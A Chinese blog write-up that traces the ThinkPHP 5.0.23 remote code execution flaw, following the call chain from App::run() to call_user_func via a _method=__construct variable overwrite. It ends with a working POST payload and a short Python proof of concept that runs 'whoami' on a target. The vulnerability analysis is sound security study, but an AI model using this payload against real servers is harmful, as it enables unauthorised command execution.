thinkphp5.0.23rce

漏洞代码分析

函数调用

先从应用入口处分析

image-20211124193836032

跟进start.php

image-20211124194031552

跟进App::run()

run()下调用了该类下的exec方法

image-20211124194151672

exec()中通过$dispatch的type键来决定执行何种case,这里进入method

image-20211124194340101

array_merge将一个或多个数组的单元合并起来,Request::instance()只获得一个实例化对象,而获取post内容、get内容、参数内容、表单中上传的文件的内容则从param()方法中获取,跟进param()

image-20211124195245045

该方法开头调用了method方法,跟进method方法,参数为true

image-20211124195318221

见到可能存在漏洞点,$this>{$this->method}($_POST)可能存在变量覆盖,但还需接下来寻找能否进入elseif方法和这些参数是否可控才可以判断此处是否是漏洞存在点。

跟进$this->server()

image-20211124195956562

跟进input()方法

image-20211124200248443

image-20211124200410335

首先$filter通过getFilter方法获取到一个实例对象,然后进入is_array()的if判断,该函数形参中的data默认为数组类型,所以直接进入if

其中 array_walk_recursive

image-20211124201517318

简单来说该函数可以对1号参数中的数组的每一个元素应用参数2的自定义函数,此处数组中的键和值都作为参数传入参数2的自定义参数中

在该代码中,就是将$data的键和值都传入filterValue方法中

image-20211124202223213

又见到敏感函数call_user_func

所以问题就是如何从请求中传入$this->filter和$this->value这两个值,构造call_user_func()触发漏洞

在这里插入图片描述

参数控制和变量覆盖

首先要进入上面的方法,必须要在最开头使$dispatch=method,进入method对应的case

回到App::run()

image-20211124203653058

$dispatch由routeCheck方法确定,跟进routeCheck

image-20211124203828442

该方法返回result,而result由Route::check决定

跟进check方法

image-20211124204753019

此处由于对method方法进行操作,先跟进request中的method方法,注意此时的参数为false,恰好满足条件进入elseif

image-20211124204915566

一行行分析:

1
if (isset($_POST[Config::get('var_method')])) {

thinkphp中Config::get('参数')方法可以得到相应的配置信息,在config.php中找到var_method:

image-20211124205146353

也就是说 此处可以任意控制$this->method的值,也就表明可以实现该类的任意函数的调用。

事实上理完思绪审到此处才发现,事实上出现问题的原因在于$this->method的值可以简单的通过传入_method的值改变。

考虑利用__construct

image-20211124210045858

property_exists

image-20211124211420618

该函数判断$this即Request类中是否含有$name

当POST一个_method=__construct&filter[]=system

就会执行__construct(filter[]=system),进入foreach循环,如果$this有filter这个成员变量,就会把system的值传给$filter,所以我们也能根据这个实现任意变量覆盖

考虑控制Request->$filter

image-20211124212744382

跟进getFilter方法

image-20211124212825551

发现$filter=$this->filter 也就是说可以通过之前的$this->{$this->method}($_POST)调用__construct控制$filter

此时形成漏洞条件满足其一,接下来考虑如何控制Request->value

$value事实上就是$dataimage-20211124213050440

$data是$this->server

image-20211124213132470

$this->server是在method中被调用的,调用带参’REQUEST_METHOD’

image-20211124213603585

所以传过去的$this->server就带了一个参数REQUEST_METHOD,也就是data数组中多了一个键为REQUEST_METHOD,payload中为server[REQUEST_METHOD]=whoami,实现变量覆盖

另外payload中method=get是因为

我们的路由是s=captcha
vender/topthink/think-captcha/src/helper.php中可以看到路由的设置,而且路由方法是get

而method方法本来就是获取请求类型的,并且返回$this->method,为了命令执行,我们传入了_method参数实现变量覆盖,但这也导致了method方法获取不到正确的请求类型,所以不妨我们在变量覆盖一个method,使其=get

最后在给出总体的调用流程:
1.变量覆盖:

App::run()->
App::routeCheck()->
Route::check()->
method()->
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

2.函数调用:

App::run()->
App::exec()->
Request::param()->
Request::method(true)->
Request::server(‘REQUEST_METHOD’)->
Request::input->
经过array_walk_recursived->
filterValue()->
call_user_func($filter, $value)

payload和poc

payload:

1
2
http://localhost/?s=captcha
POST _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://localhost/?s=captcha"

data = {
"_method":"__construct",
"filter[]":"system",
"method" : "get",
"server[REQUEST_METHOD]":"whoami"
}

if "www-data" in requests.post(url=url,data=data).text:
print("Vulnable")


总结

由于时间问题还有一个遗留的小问题还未解决,就是POST传参server[REQUEST_METHOD]可以直接覆盖$server[‘REQUEST_METHOD’],还没有找到具体实现覆盖的语句。而且跟着别人的思路走总感觉很别扭,日后再回来看。